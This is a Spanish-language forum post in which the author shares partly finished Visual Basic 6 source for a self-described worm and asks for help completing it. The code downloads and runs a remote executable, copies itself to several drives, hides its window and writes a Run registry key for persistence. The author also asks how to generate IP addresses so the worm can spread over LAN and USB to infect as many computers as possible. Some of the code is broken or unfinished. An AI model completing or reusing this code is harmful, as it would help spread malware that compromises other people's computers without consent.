Hola foro! primero que nada me gustaria desearles feliz año! Ya empezo el 2014 y me agarro trabajando en un proyecto pero la verdad es que me necesisto unos consejos! Tengo mi w0rm a la mitad pobresito xD Bueno les explico el proyecto:
#Nombre: Proyecto W0rm 2013.
#Lenguaje: Visual Basic 6.
#SO: Windows 7 Español-Ingles.
#Funciones:
1-Auto-Copy en todas las unidades disponibles y en algunos de los directorios de windows.
2-Crear llave de Registro para garantizar que se inicie con la PC.
3-Descargar y ejecutar.
4-Propagarce por Usb, Lan y Generar IP.
5-Comprobar estado de w0rm y archivos extra.
#codigo
Private Sub Form_Load()
On Error Resume Next 'le digo que si hay algun error siga adelante.
URLDownloadToFileA 0, "https://myremotesite.com/Archivo.exe",
"C:\Archivo.exe", 0, 0 'esto es parte del codigo para descargar y ejecutar, le digo de donde conseguir el archivo y donde guardarlo.
'#####1-Auto-Copy#####
RutaFinal1 = "C:\testworm.exe" 'le digo donde copiarce
RutaFinal2 = "C:\Windows\testworm.exe"
RutaFinal3 = "D:\testworm.exe"
RutaFinal4 = "F:\testworm.exe"
ArchivoOrigen = App.Path & "\" & App.EXEName & ".exe" 'le digo donde estsa guardado para que pueda copiarce.
FileCopy ArchivoOrigen, RutaFinal1
FileCopy ArchivoOrigen, RutaFinal2
FileCopy ArchivoOrigen, RutaFinal3 'le digo que se copie.
FileCopy ArchivoOrigen, RutaFinal4
FileCopy ArchivoOrigen, RutaFinal5
Me.Visible = False 'le digo que lo haga oculto
End Sub
' #####2-Crear llave de Registro#####
'en esta parte estoy trabajando ahora.....
Private Sub Resident()
Dim REG As Object
gusano = "C:\Windows\en\testworm.exe"
Set REG = CreateObject("WScript.Shell")
REG.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Test", gusano
'esto no me funciona y llevo un rato probando distintos codigos..pero nada en mi registro......que es lo que esta mal????????
End Sub
'######3-Descargar y ejecutar.######
'segunda parte del codigo de descarga y ejecucion, esta se encarga de ejecutar el Archivo.
Private Sub Timer8_Timer() 'pongo un Timer con intervalo de dos segundos
On Error Resume Next en el form.
If Dir("C:\Archivo.exe") = "" Then
Timer8.Enabled = True
Else
Shell "C:\Archivo.exe", vbNormalFocus
Timer8.Enabled = False 'Esta parte apaga el timer,para
End If el Archivo.exe no se siga ejecutando!
'#####4-Propagarce por Usb, Lan y Generar iP.#####
'trabajando en esto.....
'MadAntrax publico un modulo de clase para esto pero era para Xp....como puedo hacer que funcione en win7? tengo entendido que el modulo asi que el gusano creara IPs para infectar la mayor cantidad de equipos posible!!! Necesito algo asi!
#####5-Comprobar estado######
'trabajando en esto ...
'esto me las puedo arreglar tranquilo despues no me urge xD con unos timers o los comandos minute(now) u hour(now) se que le voy a dar forma...me urgen mas las dos funciones anteriores!
End Sub
Modulo para completar la funcion de Descarga y Ejecucion.
Declare Sub URLDownloadToFileA Lib "URLMON" (ByVal e As Long, ByVal w As String, ByVal f As String, ByVal g As Long, ByVal n As Long)
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Bueno la verdad gracias al foro y a mucha busqueda por google, avanze un poco pero lo que mas necesito ahora seria completar las funciones que tengo incompletas. MadAntrax posteo un modulo para propagarce por LAN e IP pero era para XP , como puedo hacer esto para win7 ??? a propagarce por IP me refiero a que cree dinamicamente IPs para infectar la mayor cantidad de equipos posible!
Bueno cualquier ayuda les estare infinitamente agradecido! Desde ya gracias por leer y espero que les sirva el Modulo y el poco codigo que aporto!
Mostrar Temas